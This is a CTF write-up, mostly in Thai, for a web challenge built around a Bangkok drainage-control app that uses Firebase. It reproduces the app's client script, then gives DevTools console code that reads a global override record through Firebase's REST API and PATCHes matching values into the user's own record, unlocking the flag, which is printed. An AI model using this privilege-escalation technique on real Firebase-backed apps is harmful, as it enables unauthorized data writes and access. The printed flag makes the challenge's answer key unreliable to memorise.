# **🔥 STH Mini Web CTF 2025/2 🔥**



Challenge: Web
Author: TORTY
Flag: 'STH{2d63e3e02c8dd1819494468973af1730}'

# 🛰️ Flood Control – Firebase Mission Override Abuse
## 1. 🔎 Challenge Overview

เรามาเริ่มจากการ view-source กันก่อนว่ามีข้อมูลอะไรที่เราสามารถดูได้บ้าง
`view-source:https://minictf2.p7z.pw/`

เราจะพบว่ามีการเรียกไฟล์ `/assets/script.js` และมีข้อมูลของ `firebase`
เว็บเป็นระบบ “ควบคุมสถานีระบายน้ำกรุงเทพฯ” มีฟีเจอร์ดังนี้:
- สมัคร/ล็อกอินด้วย Firebase Auth
- อ่านข้อมูลสถานีระบายน้ำ
- มี UI ส่วน “Flood Response Token” (flag)
- Flag จะต้องได้จาก /api/flag.php
## 2. 🔍 Source Code Analysis
`Source Code https://minictf2.p7z.pw/assets/script.js`
```
import { initializeApp } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-app.js';
import { getAuth, onAuthStateChanged, createUserWithEmailAndPassword, signInWithEmailAndPassword, signOut, updateProfile } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-auth.js';
import { getDatabase, ref, set, update, onValue, get } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-database.js';
const cfg = JSON.parse(document.getElementById('firebase-config').textContent);
const app = initializeApp(cfg);
const auth = getAuth(app);
const db = getDatabase(app, cfg.databaseURL);
const registerForm = document.getElementById('register-form');
const loginForm = document.getElementById('login-form');
const logoutBtn = document.getElementById('logout-btn');
const authMessage = document.getElementById('auth-message');
const profileCard = document.getElementById('profile-card');
const statusCard = document.getElementById('status-card');
const stationsCard = document.getElementById('stations-card');
const adminCard = document.getElementById('admin-card');
const profileEmail = document.getElementById('profile-email');
const profileRole = document.getElementById('profile-role');
const stationsBody = document.getElementById('stations-body');
const averageLevel = document.getElementById('average-level');
const drainageStatus = document.getElementById('drainage-status');
const statusLog = document.getElementById('status-log');
const floodBanner = document.getElementById('flood-banner');
const toggleBtn = document.getElementById('toggle-drainage');
const adminHint = document.getElementById('admin-hint');
const flagPanel = document.getElementById('flag-panel');
const flagValue = document.getElementById('flag-value');
const authCard = document.getElementById('auth-card');
const missionChannelEl = document.getElementById('mission-channel');
let userRole = 'citizen';
let currentStatus = 'open';
let flagFetched = false;
let profileUnsub = null;
let userOverrideChannel = '';
let userOverrideKey = '';
let userBadge = 'standard';
let hasControlUnlocked = false;
let lastFlagReason = null;
let userControlsUnsub = null;
let globalControlsUnsub = null;
const globalMission = {
overrideChannel: '',
overrideToken: '',
missionWindow: 'normal',
};
let lastUserControlSnapshot = null;
let globalControlsInitiated = false;
const defaultControlState = () => ({
drainageStatus: 'open',
averageLevel: 1.24,
statusMessage: 'ระบบเปิดประตูระบายน้ำทั้งหมดในโหมดรักษาเสถียร',
updatedBy: 'system@sth.local',
lastUpdated: new Date().toISOString(),
});
registerForm?.addEventListener('submit', async (e) => {
e.preventDefault();
const form = new FormData(registerForm);
const email = form.get('email');
const password = form.get('password');
const displayName = (email || '').split('@')[0] || 'ผู้ใช้งาน';
try {
const cred = await createUserWithEmailAndPassword(auth, email, password);
await updateProfile(cred.user, { displayName });
await set(ref(db, `users/${cred.user.uid}`), {
displayName,
email,
role: 'citizen',
controlUnlocked: false,
createdAt: new Date().toISOString()
});
await set(ref(db, `controls/users/${cred.user.uid}`), defaultControlState());
authMessage.textContent = 'สมัครสมาชิกสำเร็จแล้ว กรุณาเข้าสู่ระบบ';
} catch (error) {
authMessage.textContent = `เกิดข้อผิดพลาด: ${error.message}`;
}
});
loginForm?.addEventListener('submit', async (e) => {
e.preventDefault();
const form = new FormData(loginForm);
const email = form.get('email');
const password = form.get('password');
try {
await signInWithEmailAndPassword(auth, email, password);
authMessage.textContent = '';
} catch (error) {
if (error?.code === 'auth/invalid-credential') {
authMessage.textContent = 'ชื่อผู้ใช้งานหรือรหัสผ่านไม่ถูกต้อง';
} else {
authMessage.textContent = `เข้าสู่ระบบไม่ได้: ${error.message}`;
}
}
});
logoutBtn?.addEventListener('click', () => signOut(auth));
onAuthStateChanged(auth, async (user) => {
if (user) {
authCard.style.display = 'none';
profileCard.style.display = 'block';
statusCard.style.display = 'block';
stationsCard.style.display = 'block';
profileEmail.textContent = user.email;
logoutBtn.style.display = 'inline-block';
await subscribeProfile(user);
fetchStations(user);
watchGlobalControls();
watchUserControls(user);
} else {
authCard.style.display = 'block';
profileCard.style.display = 'none';
statusCard.style.display = 'none';
stationsCard.style.display = 'none';
adminCard.style.display = 'none';
logoutBtn.style.display = 'none';
if (profileUnsub) { profileUnsub(); profileUnsub = null; }
if (userControlsUnsub) { userControlsUnsub(); userControlsUnsub = null; }
if (globalControlsUnsub) { globalControlsUnsub(); globalControlsUnsub = null; }
globalMission.overrideChannel = '';
globalMission.overrideToken = '';
globalMission.missionWindow = 'normal';
globalControlsInitiated = false;
flagPanel.classList.remove('active');
flagValue.textContent = 'รอสถานะน้ำล้นตลิ่ง...';
flagFetched = false;
if (missionChannelEl) { missionChannelEl.textContent = '-'; }
stationsBody.innerHTML = '<tr><td colspan="6">กรุณาเข้าสู่ระบบเพื่อดูข้อมูลสถานี</td></tr>';
}
});
async function subscribeProfile(user) {
if (profileUnsub) {
profileUnsub();
}
const userRef = ref(db, `users/${user.uid}`);
profileUnsub = onValue(userRef, (snapshot) => {
const data = snapshot.val() || {};
userRole = data.role || 'citizen';
profileRole.textContent = userRole.toUpperCase();
hasControlUnlocked = Boolean(data.controlUnlocked);
userOverrideChannel = data.overrideChannel || '';
userOverrideKey = data.overrideKey || '';
userBadge = data.badge?.toUpperCase?.() || 'STANDARD';
if (userRole === 'admin' && hasControlUnlocked) {
adminCard.style.display = 'block';
adminHint.textContent = 'คุณมีสิทธิ์ควบคุมการเปิด-ปิด ระบบระบายน้ำ';
} else {
adminCard.style.display = 'none';
}
});
}
async function fetchStations(currentUser = null) {
const targetUser = currentUser || auth.currentUser;
if (!targetUser) {
stationsBody.innerHTML = '<tr><td colspan="6">กรุณาเข้าสู่ระบบเพื่อดูข้อมูลสถานี</td></tr>';
return;
}
try {
const token = await targetUser.getIdToken();
const res = await fetch('/api/stations.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ idToken: token }),
});
if (!res.ok) {
throw new Error('error loading stations');
}
const data = await res.json();
const rows = data.stations.map((station) => `
<tr>
<td><strong>${station.name_th}</strong><br><small>${station.name_en}</small></td>
<td>${station.canal}</td>
<td>${station.district}</td>
<td>${Number(station.average_level).toFixed(2)}</td>
<td>${station.pumps_online} เครื่อง</td>
<td><span class="status-pill ${station.gate_status === 'เปิด' ? 'status-open' : 'status-closed'}">${station.gate_status}</span></td>
</tr>`).join('');
stationsBody.innerHTML = rows;
if (data.averageLevel) {
averageLevel.textContent = Number(data.averageLevel).toFixed(2);
}
} catch (error) {
stationsBody.innerHTML = '<tr><td colspan="6">ไม่สามารถโหลดข้อมูลสถานีได้</td></tr>';
}
}
function watchUserControls(user) {
if (userControlsUnsub) {
userControlsUnsub();
}
const userControlsRef = ref(db, `controls/users/${user.uid}`);
userControlsUnsub = onValue(userControlsRef, (snapshot) => {
const info = snapshot.val() || defaultControlState();
currentStatus = info.drainageStatus || 'open';
drainageStatus.textContent = currentStatus === 'open' ? 'เปิดระบายน้ำ' : 'ปิดระบายน้ำ';
averageLevel.textContent = info.averageLevel ? Number(info.averageLevel).toFixed(2) : '-';
statusLog.textContent = info.statusMessage || 'รอข้อมูล';
floodBanner.classList.toggle('hidden', currentStatus !== 'closed');
toggleBtn.textContent = currentStatus === 'open' ? 'ปิดระบบระบายน้ำชั่วคราว' : 'เปิดระบบระบายน้ำ';
flagPanel.classList.remove('active');
flagFetched = false;
lastUserControlSnapshot = info;
if (currentStatus === 'closed' && userRole === 'admin' && !hasControlUnlocked) {
hasControlUnlocked = true;
const userRef = ref(db, `users/${user.uid}`);
update(userRef, { controlUnlocked: true }).catch(() => {});
}
evaluateFlagState({ trigger: 'user-control' });
});
}
if (toggleBtn) {
toggleBtn.addEventListener('click', async () => {
if (userRole !== 'admin') {
alert('คุณไม่มีสิทธิ์ควบคุมระบบ');
return;
}
const user = auth.currentUser;
if (!user) { return; }
const newStatus = currentStatus === 'open' ? 'closed' : 'open';
const statusText = newStatus === 'closed'
? 'คำสั่งปิดประตูระบายน้ำทั้งหมดเพื่อทดสอบระบบน้ำท่วม'
: 'กลับมาเปิดระบายน้ำตามปกติ';
await update(ref(db, `controls/users/${user.uid}`), {
drainageStatus: newStatus,
statusMessage: statusText,
averageLevel: newStatus === 'closed' ? 2.05 : 1.24,
updatedBy: user.email,
lastUpdated: new Date().toISOString(),
});
if (newStatus === 'closed') {
requestFlag();
}
});
}
const staffActionEnvelope = ({ endpoint, detail, level, meta }) => ({
endpoint,
detail: detail ? String(detail) : 'queued',
level: level || 'field',
meta: meta || {},
});
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const randomJitter = () => Math.floor(Math.random() * 120);
function evaluateFlagState(context = {}) {
const missionReady = Boolean(
globalMission.overrideChannel
&& globalMission.overrideToken
&& userOverrideChannel
&& userOverrideKey
&& globalMission.overrideChannel === userOverrideChannel
&& globalMission.overrideToken === userOverrideKey
&& globalMission.missionWindow === 'override'
);
const canAdmin = currentStatus === 'closed' && userRole === 'admin';
if (canAdmin || missionReady) {
requestFlag({ missionReady, canAdmin, ...context });
}
}
function watchGlobalControls(force = false) {
if (globalControlsInitiated && !force) {
return;
}
if (globalControlsUnsub) {
globalControlsUnsub();
globalControlsUnsub = null;
}
const globalRef = ref(db, 'controls/global');
globalControlsUnsub = onValue(globalRef, (snapshot) => {
const info = snapshot.val() || {};
globalMission.overrideChannel = info.overrideChannel || '';
globalMission.overrideToken = info.overrideToken || '';
globalMission.missionWindow = info.missionWindow || 'normal';
if (missionChannelEl) {
missionChannelEl.textContent = globalMission.overrideChannel || '-';
}
evaluateFlagState({ trigger: 'global-control' });
});
globalControlsInitiated = true;
}
async function postAdminAction(path, payload, meta = {}) {
const envelopeMeta = { ...meta, jitter: randomJitter() };
await sleep(envelopeMeta.jitter);
const issuedAt = new Date().toISOString();
if (payload?.dryRun) {
return { dryRun: true, meta: envelopeMeta };
}
try {
const res = await fetch(path, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ ...payload, issuedAt }),
});
if (!res.ok) {
throw new Error(`${path} rejected`);
}
const data = await res.json();
return { ...data, meta: envelopeMeta };
} catch (error) {
return staffActionEnvelope({
endpoint: path.replace('/api/admin/', ''),
detail: error,
level: meta.level || 'ops',
meta: envelopeMeta,
});
}
}
const deterministicShuffle = (items, salt = 0) => {
const clone = [...items];
for (let i = clone.length - 1; i > 0; i -= 1) {
const j = (i + salt + clone[i].toString().length) % clone.length;
[clone[i], clone[j]] = [clone[j], clone[i]];
}
return clone;
};
function deriveSeverity(metrics = []) {
if (!metrics.length) {
return { score: 0, status: 'idle' };
}
const sum = metrics.reduce((acc, value) => acc + Number(value || 0), 0);
const avg = sum / metrics.length;
switch (true) {
case avg > 75:
return { score: avg, status: 'critical' };
case avg > 45:
return { score: avg, status: 'warning' };
default:
return { score: avg, status: 'normal' };
}
}
async function meteorologicalAdvisorBridge(payload = {}) {
const horizon = payload.horizon ?? ['3h', '6h', '12h'][Math.floor(Math.random() * 3)];
let bias = 0;
for (let i = 0; i < horizon.length; i += 1) {
bias += horizon.charCodeAt(i) % 5;
}
const blendScore = Number(((payload.blendScore || 0.4) + bias / 100).toFixed(2));
const severity = deriveSeverity([blendScore * 100, bias]);
const adjusted = {
...payload,
horizon,
flag: 'forecast',
blendScore,
severity,
};
return postAdminAction('/api/admin/meteorology/advisor-bridge', adjusted, { level: 'strategic' });
}
async function requestFlag(context = {}) {
if (flagFetched && !context.force) { return; }
const user = auth.currentUser;
if (!user) { return; }
try {
const token = await user.getIdToken();
const res = await fetch('/api/flag.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
idToken: token,
channel: context.missionReady ? 'mission' : 'admin',
})
});
if (!res.ok) {
flagValue.textContent = 'ยังไม่ได้รับสิทธิ์แสดง Token';
return;
}
const data = await res.json();
flagFetched = true;
flagPanel.classList.add('active');
flagValue.textContent = data.flag;
lastFlagReason = context.missionReady ? 'mission' : 'admin';
} catch (error) {
flagValue.textContent = 'ไม่สามารถเรียกดู Token ได้';
}
}
async function fieldPumpDispatch(payload = {}) {
const unit = payload.unit || `FS-${Math.floor(Math.random() * 9) + 1}`;
const crews = [];
for (let index = 1; index <= 3; index += 1) {
crews.push(`${unit}-C${index}`);
}
const routing = deterministicShuffle(crews, unit.length).slice(0, 2);
return postAdminAction('/api/admin/field/pump-dispatch', { ...payload, unit, crews, routing }, { level: 'ops' });
}
async function tacticalTelemetryAudit(payload = {}) {
const sampled = Array.isArray(payload.nodes) ? payload.nodes.slice(0, 4) : [];
const anomalies = sampled.map((node) => ({
node,
variance: Number(Math.random().toFixed(3)),
}));
return postAdminAction('/api/admin/tactical/telemetry-audit', { ...payload, sampled, anomalies }, { level: 'audit' });
}
async function seniorHydrologyOverride(payload = {}) {
const overrideLoad = (payload.delta ?? 0) * -1;
const curve = (() => {
if (overrideLoad < 0) return 'release';
if (overrideLoad === 0) return 'steady';
return 'retain';
})();
return postAdminAction('/api/admin/hydraulics/override', { ...payload, priority: 'policy', overrideLoad, curve }, { level: 'director' });
}
async function groundResponseCoord(payload = {}) {
const sector = payload.sector || ['north', 'south', 'east', 'west'][Math.floor(Math.random() * 4)];
const ops = { teams: [], priority: sector === 'north' ? 'high' : 'normal' };
for (let idx = 0; idx < 2; idx += 1) {
ops.teams.push(`${sector.toUpperCase()}-${idx + 1}`);
}
return postAdminAction('/api/admin/ground/response-coord', { ...payload, sector, ops }, { level: 'field' });
}
async function publicCommsSignal(payload = {}) {
const windowHint = (payload.windowHint || '3h').toUpperCase();
const template = windowHint === '3H' ? 'brief' : 'extended';
return postAdminAction('/api/admin/public/comms-signal', { ...payload, windowHint, template }, { level: 'comms' });
}
async function maintenanceOverride(payload = {}) {
const rotation = (payload.rotation || 0) + 1;
const status = rotation % 2 === 0 ? 'service' : 'standby';
return postAdminAction('/api/admin/maintenance/override', { ...payload, unit: 'MECH-77', rotation, status }, { level: 'mechanical' });
}
async function complianceTelemetryProbe(payload = {}) {
const checksum = btoa(JSON.stringify(payload).slice(0, 8));
return postAdminAction('/api/admin/compliance/telemetry-probe', { ...payload, checksum, retries: payload.retries || 0 }, { level: 'compliance' });
}
async function situationalAwarenessPing(payload = {}) {
const coverage = Math.min(100, (payload.coverage || 52) + Math.floor(Math.random() * 10));
const report = coverage > 80 ? 'green' : coverage > 60 ? 'yellow' : 'amber';
return postAdminAction('/api/admin/situational/awareness-ping', { ...payload, coverage, report }, { level: 'intel' });
}
async function reservoirVectorPulse(payload = {}) {
const amplitude = Number(payload.amplitude || 1.4) * (Math.random() + 0.5);
const nodes = (payload.nodes || ['A', 'B', 'C']).map((node, idx) => `${node}-${idx + 1}`);
return postAdminAction('/api/admin/reservoir/vector-pulse', { ...payload, amplitude, nodes }, { level: 'hydrology' });
}
async function canalReliefBalancing(payload = {}) {
const reliefRatio = ((payload.reliefRatio ?? 0.65) + Math.random() * 0.1).toFixed(2);
const modes = ['pulse', 'steady', 'reverse'];
const mode = modes[Math.floor(Number(reliefRatio) * 10) % modes.length];
return postAdminAction('/api/admin/canal/relief-balancing', { ...payload, reliefRatio, mode }, { level: 'network' });
}
async function sluiceRealtimeShadow(payload = {}) {
const mirrors = (payload.mirrors || []).concat(`SL-${Date.now() % 1000}`);
const sync = mirrors.length > 3;
return postAdminAction('/api/admin/sluice/realtime-shadow', { ...payload, mirrors, sync }, { level: 'engineer' });
}
async function pumpDockTelemetryRefresh(payload = {}) {
const refreshToken = crypto.randomUUID?.() || `dock-${Date.now()}`;
const attempts = payload.attempts ?? 1;
return postAdminAction('/api/admin/pump-dock/telemetry-refresh', { ...payload, refreshToken, attempts }, { level: 'dockmaster' });
}
async function leveeSensorBroadcast(payload = {}) {
const mesh = payload.mesh || `LV-${Math.floor(Math.random() * 50)}`;
const sensors = Array.from({ length: 5 }, (_, idx) => `${mesh}-${idx + 1}`);
return postAdminAction('/api/admin/levee/sensor-broadcast', { ...payload, mesh, sensors }, { level: 'structural' });
}
async function floodwayOpsHeartbeat(payload = {}) {
const region = payload.region || 'metro';
const heartbeat = Date.now();
const phase = heartbeat % 2 === 0 ? 'even' : 'odd';
return postAdminAction('/api/admin/floodway/ops-heartbeat', { ...payload, region, heartbeat, phase }, { level: 'operations' });
}
async function evacuationOverlaySync(payload = {}) {
const overlay = payload.overlay || 'city-grid';
const slices = (payload.slices || 4) + 1;
const style = slices > 5 ? 'grid' : 'sector';
return postAdminAction('/api/admin/evacuation/overlay-sync', { ...payload, overlay, slices, style }, { level: 'public-safety' });
}
async function logisticsFuelRequisition(payload = {}) {
const depot = payload.depot || `LOG-${String.fromCharCode(65 + Math.floor(Math.random() * 4))}`;
const liters = payload.liters || Math.round(Math.random() * 8000) + 2000;
return postAdminAction('/api/admin/logistics/fuel-requisition', { ...payload, depot, liters }, { level: 'logistics' });
}
async function instrumentationIntegritySweep(payload = {}) {
const profile = payload.profile || `INT-${Math.floor(Math.random() * 99)}`;
const schedule = new Date(Date.now() + 3600 * 1000).toISOString();
return postAdminAction('/api/admin/instrumentation/integrity-sweep', { ...payload, profile, schedule }, { level: 'sensors' });
}
async function rainfallNowcastingBlend(payload = {}) {
const model = payload.model || 'blend-v3';
const weights = (payload.weights || [0.5, 0.3, 0.2]).map((w, idx) => {
const noise = (Math.sin(Date.now() / 1000 + idx) + 1) / 20;
return Number((w + noise).toFixed(2));
});
return postAdminAction('/api/admin/rainfall/nowcasting-blend', { ...payload, model, weights }, { level: 'forecast' });
}
async function climateReserveFallback(payload = {}) {
const scenario = payload.scenario || `fallback-${Math.floor(Math.random() * 3) + 1}`;
const tier = scenario.includes('2') ? 'elevated' : 'baseline';
return postAdminAction('/api/admin/climate/reserve-fallback', { ...payload, scenario, tier }, { level: 'resilience' });
}
const backgroundRoutines = [
meteorologicalAdvisorBridge,
fieldPumpDispatch,
rainfallNowcastingBlend,
tacticalTelemetryAudit,
logisticsFuelRequisition,
seniorHydrologyOverride,
complianceTelemetryProbe,
maintenanceOverride,
canalReliefBalancing,
pumpDockTelemetryRefresh,
];
const scheduleDryRunSweep = (reason) => {
const salt = reason === 'hidden' ? 7 : reason === 'visible' ? 3 : 5;
const subset = deterministicShuffle(backgroundRoutines, salt).slice(0, 3);
subset.forEach((fn, index) => {
fn({ dryRun: true, reason, window: index }).catch(() => {});
});
};
document.addEventListener('visibilitychange', () => {
scheduleDryRunSweep(document.hidden ? 'hidden' : 'visible');
});
setTimeout(() => scheduleDryRunSweep('startup'), 1800);
window.drainageOps = Object.freeze({
meteorologicalAdvisorBridge,
fieldPumpDispatch,
tacticalTelemetryAudit,
seniorHydrologyOverride,
groundResponseCoord,
publicCommsSignal,
maintenanceOverride,
complianceTelemetryProbe,
situationalAwarenessPing,
reservoirVectorPulse,
canalReliefBalancing,
sluiceRealtimeShadow,
pumpDockTelemetryRefresh,
leveeSensorBroadcast,
floodwayOpsHeartbeat,
evacuationOverlaySync,
logisticsFuelRequisition,
instrumentationIntegritySweep,
rainfallNowcastingBlend,
climateReserveFallback,
scheduleDryRunSweep,
requestFlag,
});
```
หลังตรวจโค้ดพบว่า flag จะถูกส่งเมื่อ `channel = "mission"` และ user ต้องมีค่า override ตรงกับ global override ใน Firebase DB
เป้าหมาย → ปลอมตัวเป็น `“mission override”` โดยเขียนค่าบางอย่างใน Firebase ให้ตรงกับ global
ฝั่ง client มีฟังก์ชันขอ flag:
`window.drainageOps.requestFlag({ missionReady: true, force: true });`
แต่ถ้าเรียกโดยตรง → `403 Forbidden` เพราะ backend ไม่เชื่อ missionReady จาก client
missionReady ถูกคำนวณตามนี้:
`missionReady =
(global.overrideChannel === user.overrideChannel) &&
(global.overrideToken === user.overrideKey) &&
(global.missionWindow === "override")`
## 3. 🧠 Key Insight — ใช้ Firebase Realtime Database
Firebase config ถูก embed ในหน้าเว็บ:

`"databaseURL": "https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app"`
หมายความว่า:
✔ เราสามารถยิง REST API ไปอ่าน/เขียน DB ได้ตราบใดที่เรามี Firebase ID Token ของ user ที่ login อยู่
✔ ต้องดึงค่า override จาก globalที่ path `controls/global`
✔ จากนั้น patch ค่าเข้า `users/<uid>`
## 4. 🛠️ Step-by-Step Exploit
### 4.1 หยุด script เพื่อดึง Firebase instance ออกมา
เปิด DevTools แล้วไปที่ `Sources` เลือกเปิด `assets/script.js`

จากนั้นวาง BreakPoint ที่ `const app = initializeApp(cfg);`

เมื่อวาง BreakPoint แล้วให้ทำการ Refresh หน้าเว็บแล้ว Script จะหยุด

จากนั้นกด `Step over next function call` หรือกด `F10` สามครั้ง เพื่อรันผ่าน:
```
app = initializeApp()
auth = getAuth()
db = getDatabase()
```

เมื่อรันผ่านตอนนี้ตัวแปร app / auth / db อยู่ใน scope แล้วใช้ Console ผูกเข้ากับ window:
พิมคำสั่งข้างล่างทีละบรรทัดใน Console
```
window.__app = app;
window.__auth = auth;
window.__db = db;
```

จากนั้นกด Resume Script execution หรือกด F8

### 4.2 Login ด้วย user ปกติ 1 ครั้ง
Login ด้วย User ปกติที่สมัครใหม่

จากนั้นไปที่ Console ให้พิมคำสั่งข้างล่างเพื่อเช็ค User ควรเห็น object ของ `User`
```
window.__auth.currentUser
```

### 4.3 อ่าน global override จาก Firebase

ให้พิมคำสั่งข้างล่างนี้เพื่ออ่าน global override
```
(async () => {
while (!window.__auth.currentUser) {
await new Promise(r => setTimeout(r, 500));
}
const idToken = await window.__auth.currentUser.getIdToken();
const url = 'https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app/controls/global.json?auth=' + idToken;
const r = await fetch(url);
const data = await r.json();
console.log('global =', data);
})();
```
ผลลัพธ์จริงที่ได้:
```
{
missionWindow:"override",
overrideChannel: "ops-override",
overrideToken: "test-token-123"
}
````
### 4.4 เขียนค่า override ให้ user ของเรา
ให้พิมคำสั่งข้างล่างนี้เพื่อเขียนค่า override ให้ user ของเรา

```
(async () => {
const user = window.__auth.currentUser;
const idToken = await user.getIdToken();
const body = {
overrideChannel: 'ops-override',
overrideKey: 'test-token-123'
};
const url = `https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app/users/${user.uid}.json?auth=${idToken}`;
const r = await fetch(url, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
console.log('update result =', await r.json());
})();
```
ผลลัพธ์:
```
{
"overrideChannel": "ops-override",
"overrideKey": "test-token-123"
}
```
ตอนนี้ user ของเรามี `mission override` ตรงกับ `global` แล้ว
`= missionReady = true`
### 4.5 เรียก flag ผ่าน client function
ใช้คำสั่งข้างล่างใน Console เพื่อเรียก flag ผ่าน client function
```
window.drainageOps.requestFlag({ missionReady: true, force: true });
```

ดึงผ่าน console:
```
document.getElementById('flag-value').textContent;
```

## 5. 🎉 Flag
The flag is : `STH{2d63e3e02c8dd1819494468973af1730}`